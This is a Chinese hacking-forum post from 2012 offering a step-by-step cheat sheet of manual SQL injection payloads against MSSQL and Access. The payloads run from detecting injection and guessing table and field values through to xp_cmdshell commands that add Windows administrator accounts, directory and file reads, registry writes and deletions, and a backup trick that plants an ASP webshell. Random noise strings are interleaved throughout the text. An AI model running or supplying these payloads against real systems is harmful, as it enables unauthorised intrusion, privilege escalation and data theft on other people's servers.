中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入
2 x- G. k4 Z, N9 J1.判断是否有注入;and 1=1 ;and 1=2 : B; I$ s- j7 w% a/ U. a

5 X  Q& ^& E* K7 \5 D# @' r+ v! L2.初步判断是否是mssql ;and user>0
! s5 z1 ?7 V& k2 `! O
3 N  z. V+ X) j" t/ v8 a  o8 V; M3.注入参数是字符'and [查询条件] and ''='
  c/ T) ^1 s3 ~" b9 d) t8 t9 _& }+ l) ]8 {9 _+ L; B. n2 V0 p" Z
4.搜索时没过滤参数的'and [查询条件] and '%25'=' $ S+ P+ T  v* f0 \2 o
! I1 U  a- ]: ?
5.判断数据库系统
' ]: n2 e; L& R;and (select count(*) from sysobjects)>0 mssql
7 [$ c7 E! g# C' @7 l;and (select count(*) from msysobjects)>0 access 6 q* A# v0 O' k" n1 G# r9 [6 a6 P

& Z. Y2 C0 b7 C1 ~' e, Y6.猜数据库 ;and (select Count(*) from [数据库名])>0
: e/ j! d2 F7 }6 V4 d- ^5 X  L2 [( M9 j
) p3 u- x# F$ t) ~- A# z$ K. D7.猜字段 ;and (select Count(字段名) from 数据库名)>0
0 L0 m7 W: E5 ~8 Z1 v8 t9 t5 f# \* R0 I, @( W( Y0 L5 ^" ]% I
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ; d0 u. g# P9 K9 k  o4 f& e1 v, b

5 d1 F/ F, J4 E4 V' u. y9.(1)猜字段的ascii值(access)
. @/ N" Y$ W* R# x* K; G4 v. a9 S;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
6 W4 M0 F4 ]3 q( p3 y& {
$ b2 F4 H: c& N. @, Z(2)猜字段的ascii值(mssql)
. c% d) _: d9 |' Q2 u0 v;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 : d. b1 q9 T/ q& q" n
5 }5 u. R# U0 m
10.测试权限结构(mssql) * ^! V6 y+ R2 f5 [
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ' `+ |4 Q7 ~2 W5 A  Q
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
& [9 s+ E$ p/ G8 t;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; B; Z! ]' t) y7 S$ Y) Y
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4 Q1 ~  ^4 @& |7 T
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
5 Q! D& q* Z. U( {# F+ I! x. v) B;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
( h2 ?3 E3 Y' m" t( p;and 1=(select IS_MEMBER('db_owner'));-- 6 C% q5 z1 p' V, ?0 }* P/ t
7 K: i' C# }# w
11.添加mssql和系统的帐户
5 Z5 A3 B" a6 F/ q;exec master.dbo.sp_addlogin username;--
* X' J" y4 [2 F4 y2 K) `! s5 x* J* u' a
;exec master.dbo.sp_password null,username,password;--
/ h$ z# b0 r" a3 _3 E! ~" Z7 `( `% j' F5 h$ W
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2 u. C5 Q/ z8 H$ C( Y/ y0 @8 ]

2 c# U4 D6 c. x$ R. a. d( i;exec master.dbo.xp_cmdshell 'net user username password 3 h' X  P5 _; H# t1 d7 {
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $ Z- a7 _- @3 }1 p% C; h
  V# S* R$ f: u7 }* @+ {
;exec master.dbo.xp_cmdshell 'net user username password /add';--
1 W3 }3 C: k! i2 w# v& u- ]# k! G1 `( ~* A4 X% v& t' E
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 9 {1 ]/ A5 _9 e" R# V

6 L2 a6 O, D* v) N5 q4 z6 J8 A$ K12.(1)遍历目录
- a2 N# J% P( G7 I
# a% R) g$ v% o4 L$ z& s;create table dirs(paths varchar(100), id int)
9 o2 i, @7 F' a) n  j8 ^% o4 Y;insert dirs exec master.dbo.xp_dirtree 'c:\' / K$ V9 J/ P5 ?7 B% B; y
;and (select top 1 paths from dirs)>0
" u* ?' \4 y5 o/ E;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
. v* K, `4 J- v$ x7 m. ^* {" e: l
% B1 @9 I5 o% j, R(2)遍历目录
, O, ~7 B. z; n. T  Z$ w2 ~;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# u: U9 C+ B$ z% M/ C6 o; K;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ' V# b; c* y( F8 _3 l( S& i
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 C/ Y) h/ O) H" n;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
- ?. ?8 Y1 H( A5 I' ]- E8 P# Q7 a& @;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
- H/ O- a) B3 m' {8 G+ h) U" e- [5 j, ~
13.mssql中的存储过程
2 _1 Y$ m' R) k* v/ v- Q
0 l: Z0 R: q8 s3 m/ r8 j0 p, r- D# ^xp_regenumvalues 注册表根键, 子键 " h; ~$ b1 @2 Y& [9 t# T" W# J
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
- u3 M, u) N& q' i! b+ ]" ]$ `
xp_regread 根键,子键,键值名 % ?  e+ c8 g* E0 C2 U9 U; e
;exec xp_regread % M) @8 z5 q; o' a
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 C/ c, _. P5 i  n. t! M9 t
) E3 X; {% G# N4 d/ H) Z' wxp_regwrite 根键,子键, 值名, 值类型, 值
1 i  y$ ~; j# \0 M6 X值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
$ B+ k4 @6 P. n% P;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
. S2 r0 \" D2 I, r+ O. G! `# s. D0 M. }" N" k
xp_regdeletevalue 根键,子键,值名
& `1 ]( {( R: E7 Z& F+ R) [7 u' r! v$ g" n7 c& D9 V* Z8 r; Z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 . X/ g& T, t2 c# b! _: t

  o0 i% Y& R1 d: J3 B1 c, mxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
* [  v* h  L+ k2 L; Z  r, w
: E. U$ |+ W% o9 m- V14.mssql的backup创建webshell 9 d8 W/ f% f# y" {9 T2 b/ @
use model
' s1 c; p, `% h% hcreate table cmd(str image); : H( Z& r& B& y; S) J, U
insert into cmd(str) values (''); 2 f' \' a8 A( g# G
backup database model to disk='c:\l.asp';   m( _7 w4 y1 L6 ]
; P. |0 P- h* G
15.mssql内置函数
/ W. E  i8 G" V;and (select @@version)>0 获得Windows的版本号 7 m0 x& d0 m- E' ]# }; H; }
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ! \' P, j7 R( [+ s( w
;and (select user_name())>0 爆当前系统的连接用户
  W# k( S& M& t" u) n; ~7 G* T! i+ Y;and (select db_name())>0 得到当前连接的数据库 7 Q. d/ h* u$ v! j3 `- A
& c  l2 g5 ^' W. f
16.简洁的webshell $ x2 Q# {3 I) k& E$ o$ P" @2 T: J, l
, h3 p5 `( _0 }+ ~
use model - B0 j, b5 e# A& U! R% b

% I3 c' x5 j; `8 Q, h' O7 l. Hcreate table cmd(str image);
2 i& x  C6 E$ U: R6 p. I6 p- t8 e4 X* z$ K& a( l- K- V
insert into cmd(str) values (''); ! _% ^% T3 R$ ]5 S
5 H# ~' t' C, g# P6 X- b: t: W0 O
backup database model to disk='g:\wwwtest\l.asp';
; {% U4 S1 K& [( h, ]/ C- V* ?% F
$ {0 W8 j! @: a' _& c- i
作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2